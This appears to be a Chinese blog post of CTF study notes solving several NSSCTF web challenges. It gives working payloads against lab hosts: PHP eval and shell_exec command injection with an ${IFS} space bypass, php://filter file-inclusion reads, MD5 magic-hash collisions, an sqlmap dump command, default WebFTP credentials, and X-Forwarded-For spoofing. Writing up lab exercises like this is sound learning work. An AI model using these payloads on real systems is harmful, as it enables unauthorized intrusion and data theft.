您现在的位置是:首页 >其他 >【NSSCTF]ctfweb题目-学习笔记 1day网站首页其他
【NSSCTF]ctfweb题目-学习笔记 1day
目录
[SWPUCTF 2021 新生赛]Do_you_know_http
前言
ctfweb题目平台:[SWPUCTF 2021 新生赛]jicao | NSSCTF
[SWPUCTF 2021 新生赛]jicao
这道题是一个php代码审计题目
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
json_decode — 对 JSON 格式的字符串进行解码
从代码可知 post 发送一个id = “wllmNB” ,定义$json为一个数组的形式
那么就是 json =['x':'wllm']
用到得的浏览器插件 hackbar
NSSCTF{037de6d6-3b9e-4bb9-903f-4236c239b42a}
[SWPUCTF 2021 新生赛]easy_md5
根据题目
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
$name && $password 不能相等,但$name && $password 的md5值又相等
所以这个问题 如果两个相等的话MD5必然是相等的
PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同
所以我们只需要找0e开头的即可例如
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
得到flag
NSSCTF{bc1ccfc9-194c-4f11-809a-3a39293691fc}
[SWPUCTF 2021 新生赛]caidao
进去就是提示
直接用菜刀或蚁剑连接就好了
NSSCTF{6bb489d4-e364-4302-ad0a-35cb90ee4534}
[SWPUCTF 2021 新生赛]include
看到file一眼就知道就是文件包含漏洞
直接使用convert.base64-encode这个过滤器构造payload
php://filter/convert.base64-encode/resource=flag.php
然后得到
base64解码得到:
NSSCTF{4b858152-b482-4984-a358-ad8dc781923e}
[SWPUCTF 2021 新生赛]easyrce
看到题目就是rce远程代码执行漏洞了
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
看到eval函数,首先我们先了解 eval函数和 system函数的区别
eval("phpinfo();"); //phpinfo()被执行
system("phpinfo()"); //phpinfo()不被执行
system("whoami"); //whoami命令被执行
eval("whoami"); //whoami命令不被执行
这说明了eval执行的是PHP代码命令而system是执行系统命令,那么我们可以通过eval来执行 system函数
构造payload:
?url=system("ls /");
?url=system("cat /flllllaaaaaaggggggg");
NSSCTF{20d42f0c-5c06-4552-8d44-d5bbe220b103}
[SWPUCTF 2021 新生赛]easy_sql
简单的sql注入漏洞,没有任何的防护措施
直接用sqlmap输入指令:
sqlmap -u "http://node3.anna.nssctf.cn:28330/?wllm=1" -D test_db -T test_tb -C flag,id --dump
flag:
NSSCTF{5eb7d391-5f49-40b7-b2d3-7ed9ffc611b5}
[第五空间 2021]WebFTP
看到这个题目就知道用的是webftp这个后台管理系统,这个后台管理系统的默认密码是:
username:admin
password:admin888
我们怎么知道?
直接搜索
进入进到网站的目录/var/www/html
看到个PHPinfo.php的文件,直接在网站中打开,直接找到flag了
NSSCTF{9371b71b-0d5e-4442-9a20-71cf4621b995}
[SWPUCTF 2021 新生赛]babyrce
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
可以看到这题目的提示发送一个cookie为admin=1的 然后加Content-Type:text/html;charset=utf-8
看到提示 rasalghul.php,我们打开它,
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
可以看到又是新的,看到shell_exec($ip)就懂了应该是rec远程代码执行
而且还把“ ”过滤了=v=
那么我们就要用其他符号代替
空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
构造payload:
http://node1.anna.nssctf.cn:28064/rasalghul.php?url=ls${IFS}/
http://node1.anna.nssctf.cn:28064/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg
NSSCTF{123c45c7-8bb1-48f0-92c3-626cc9e3035d}
[SWPUCTF 2021 新生赛]Do_you_know_http
一看看下去一脸懵逼
看到提示Please use 'WLLM' browser!翻译为
请使用'WLLM'浏览
那我们抓包改一下请求头,User-Agent
发送直接返回success,又提示a.php
我们继续打开a.php
然后直接使用 X-Forwarded-For:127.0.0.1 伪造IP请求既可以
NSSCTF{723d93e6-c278-4118-9ec8-c2045413b1e4}
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。简单地说,xff是告诉服务器当前请求者的最终ip的http请求头字段通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip
格式为:X-Forwarded-For: 本机IP, 代理1IP, 代理2IP, 代理2IP
总结
今天题目类型有sql注入、getshell、XFF伪造请求头、MD5简单绕过、rec远程命令执行、[SWPUCTF 2021 新生赛]easyrce、[SWPUCTF 2021 新生赛]Do_you_know_http、[SWPUCTF 2021 新生赛]babyrce